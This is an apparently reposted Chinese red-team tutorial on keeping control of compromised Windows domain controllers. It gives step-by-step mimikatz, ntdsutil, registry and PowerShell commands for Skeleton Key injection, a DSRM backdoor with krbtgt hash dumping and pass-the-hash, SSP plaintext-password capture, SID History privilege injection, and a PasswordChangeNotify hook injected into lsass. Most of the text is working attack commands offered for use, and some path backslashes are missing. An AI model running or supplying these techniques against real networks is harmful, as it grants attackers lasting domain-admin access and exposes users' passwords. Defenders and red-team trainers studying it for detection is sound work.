Skeleton Key
原理:当拿到域控权限后,使用mimikatz可以注入Skeleon Key,将 Skeleton Key 注入域控制器的 lsass.exe 进程,这样会在域内的所有账号中添加一个相同的 Skeleton Key,而这个key是自己设定的所以可以随时共享访问。
(由于域控一般不会经常重启,所以可以通过注入到lsass.exe进程中,进行权限维持。注意万能密码并不能更改用户权限)
**条件:**需要拿到域控权限
利用:
用mimikatz往域控中注入Skeleton Key,然后就可以用任意域用户以万能密码mimikatz,登录域控。
1、登录域控
2、在域控安装Skeleton Key
mimikatz.exe "privilege::debug" "misc::skeleton" exit
这个时候系统提示 Skeleton Key 已经注入成功,此时会在域内的所有账号中添加一个 Skeleton Key,其密码默认为:“mimikatz”
3、域内主机使用Skeleton Key登录域控
net use \WIN-8VVLRPIAJB0.test.local "mimikatz" /user:administrator
DSRM域后门
目录服务恢复模式(DSRM,Directory Services Restore Mode)是Windows服务器域控制器的安全模式启动选项
原理:DSRM允许管理员在域环境出现故障时还原、修复、重建活动目录数据库,每个域控制器都有本地管理员账号和密码(与域管理员账号和密码不同)。DSRM账号可以作为一个域控制器的本地管理员用户,通过网络连接域控制器,进而控制域控制器。可以通过导出的HASH结合PTH方式,持续控制DC,即使域内用户密码都进行了修改也可以利用。
条件:获得域控权限
利用
1、使用mimikatz查看krbtgt的NTLM hash
privilege::debug
lsadump::lsa /patch /name:krbtgt
2、mimikatz读取SAM文件中本地管理员的NTLM Hash
本地管理员账号也就是DSRM账号的NTLM Hash
token::elevate
lsadump::sam
3、将DSRM账号和krbtgt的NTLM Hash同步(为DSRM设置新密码)
NTDSUTIL #打开ntdsutil
set DSRM password #修改DSRM的密码
sync from domain account 域用户名字 #使DSRM的密码和指定域用户的密码同步
q(第1次) #退出DSRM密码设置模式
q(第2次) #退出ntdsutil
4、此时查看DSRM的NTLM Hash发现与krbtgt的已经同步了
privilege::debug
token::elevate
lsadump::sam
5、修改DSRM的登录方式
0:默认值,只有当域控制器重启并进入DSRM模式时,才可以使用DSRM管理员账号
1:只有当本地AD、DS服务停止时,才可以使用DSRM管理员账号登录域控制器
2:在任何情况下,都可以使用DSRM管理员账号登录域控制器
很多文章中都说到使用Windows Server 2000后的操作系统中,对DSRM使用控制台登录域控制器进行了限制,如果要使用DSRM账号通过网络登录域控制器,需要将该值设置为2。输入如下命令,可以使用PowerShell进行更改。
powershell -exec bypass
New-ItemProperty "hklm:systemcurrentcontrolsetcontrollsa" -name "dsrmadminlogonbehavior" -value 2 -propertyType DWORD
6、使用DSRM账号通过网络远程登录域控制器
使用Mimikatz进行哈希传递,在域成员机器的管理员模式下打开Mimikatz,分别输入以下命令:
privilege::Debug
sekurlsa::pth /domain:win2012 /user:administrator /ntlm:968f7362eca2705a4a9ff58e54680186
SSP权限维持
SSP---Security Support Provider,直译为安全支持提供者。简单点就理解为一个 DLL,用来实现身份认证,并且维持系统权限。
原理:LSA(Local Security Authority)用于身份验证;lsass.exe作为windows的系统进程,用于本地安全和登录策略;在系统启动时,SSP将被加载到lsass.exe 进程中。但是,假如攻击者对LSA进行了扩展,自定义了恶意的DLL文件,在系统启动时将其加载到lsass.exe进程中,就能够获取lsass.exe进程中的明文密码。这样即使用户更改密码并重新登录,攻击者依然可以获得该账号的新密码。
利用方式一:SSP注入域控内存
利用通常是用mimikatz把SSP注入到域控的内存中(但是域控不能重启,重启后SSP会丢失),注销当前用户重新登录,即可获取明文密码(获得的是重新登录域控时管理员输入的密码的明文),密码存储在日志文件C:Windowssystem32mimilsa.log中。
1、域控中使用管理员权限打开Mimikatz
privilege::debug
misc::memssp
2、查看明文密码
执行后,若用户注销或者有其他用户登录到此系统,即可在windowssystem32
下生成mimilsa.log文件,其中就包含了被记录的明文密码:
利用方式二:mimilib.dll文件利用
将mimikatz中的mimilib.dll 放到目标域控的C:Windowssystem32目录下(DLL的位数需要与windows位数相同),并将mimilib.dll添加到注册表中(此方法不收到重启限制,重启后依然生效,但是会在目标主机上留下二进制文件)
系统重启后,若dll被成功加载,用户在登录时输入的账号和密码明文就会被记录在C:Windowssystem32kiwissp.log中
1、将mimilib.dll文件传到域控的windowssystem32
下
2、用powershell修改一下注册表Security Packages的值,追加下刚刚的mimilib.dll:
powershell
reg query hklmsystemcurrentcontrolsetcontrollsa /v "Security Packages"
reg add "hklmsystemcurrentcontrolsetcontrollsa" /v "Security Packages" /d "kerberos msv1_0 schannel wdigest tspkg pku2u mimilib" /t REG_MULTI_SZ
3、重启域控,DLL会被重新加载,用户在登录时输入的账户与密码明文会被存储在C:windowssystem32kiwissp.log中:
SID History 域控权限维持
SID即安全标识符(Security Identifiers),是标识用户、组和计算机帐户的唯一的号码。在第一次创建该帐户时,将给网络上的每一个帐户发布一个唯一的 SID。
SID History是在域迁移过程中需要使用的一个属性,为了解决用户在迁移到另一个域中的时候权限会改变的问题。(在域迁移过程中保持域用户的访问权限,即如果迁移后用户的SID改变了,系统会将其原来的SID添加到迁移后用户的SID History属性中,使迁移后的用户保持原有权限、能够访问其原来可以访问的资源。)
原理:把域控管理员的SID加入到 其他某个恶意的域账户的SID History中,然后,这个恶意的(我们自己创建的)域账户就可以用域管理员权限访问域控了。
利用:
1、通过mimikatz,将administrator的SID添加到hack用户的SID History属性中
privilege::debug
sid::patch
#sid::patch 命令修复NTDS服务,否则无法将高权限的SID注入低权限用户的SID History属性
sid::add /sam:test /new:administrator
#将administrator的SID添加到用户test的SID History属性中。mimikatz在2.1版本后,将 misc:addsid 模块添加到了 sid:add 模块下。
2、使用PowerShell查看test用户的SID History
Import-Module activedirectory
Get-ADUser test -Properties sidhistory
3、使用域用户test登录,测试其是否具有administrator用户的权限
Hook PasswordChangeNotify
Hook PasswordChangeNotify 的作用是当用户修改密码后在系统中进行同步,攻击者可利用此功能获取用户修改密码时输入的密码明文。相比ssp权限维持,更具隐藏性。
原理:在修改域控密码时,用户输入新密码后,LSA会调用PasswordFileter来检查该密码是否符合复杂度要求,如果密码符合复杂度要去,LSA就会调用PasswordChangeNotify,在系统中同步密码。
利用:
根据clymb3r提供的poc,实现Hook PasswordChangeNotify共包含两部分:
1、Hook dll
下载链接:https://github.com/clymb3r/Misc-Windows-Hacking
使用VS2015开发环境,MFC设置为在静态库中使用MFC,生成HookPasswordChange.dll
生成的dll文件在Misc-Windows-Hacking-masterHookPasswordChangex64Release路径中
2、生成dll注入的powershell脚本
下载Powershell的dll注入脚本 https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1
powershell -exec bypass
Import-Module .Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
3、修改域控密码
4、普通用户查看权限
dir \win2012SYSVOLsentiment.comPolicies
type \win2012SYSVOLsentiment.comPolicieswindows.log
参考:
https://www.cnblogs.com/lcxblogs/p/14216525.html
https://xz.aliyun.com/t/15286?time__1311=GqjxnD0D2DuQQGNeWxUhh33GQKqxxAK3x#toc-6
https://xz.aliyun.com/t/12539?u_atoken=900837ecf9849f546695d430d70b122a&u_asig=1a0c399a17308728681043519e00df#toc-5
原文始发于微信公众号(红队蓝军):内网渗透之内网权限维持
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论